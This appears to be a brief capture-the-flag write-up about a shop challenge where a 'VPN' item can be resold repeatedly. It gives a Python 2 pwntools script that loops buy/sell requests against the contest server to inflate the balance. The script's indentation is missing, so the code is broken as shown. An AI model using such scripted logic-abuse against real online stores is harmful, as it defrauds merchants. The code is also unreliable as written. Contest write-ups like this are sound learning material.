VPN can be sell multiple times.Think like real world ecommerce.
```
#!/usr/bin/python
from pwn import *
p = connect("chals20.cybercastors.com",14432)
print p.recv()
p.sendline("6")
print p.recv()
for j in range(1,301):
p.sendline("0")
sleep(2) #used sleep coz server hanging or used trick
p.sendline("1")
a = p.recv()
if "Your money: 5000" in a:
p.sendline(str(5))
print p.recv()
else:
print a
```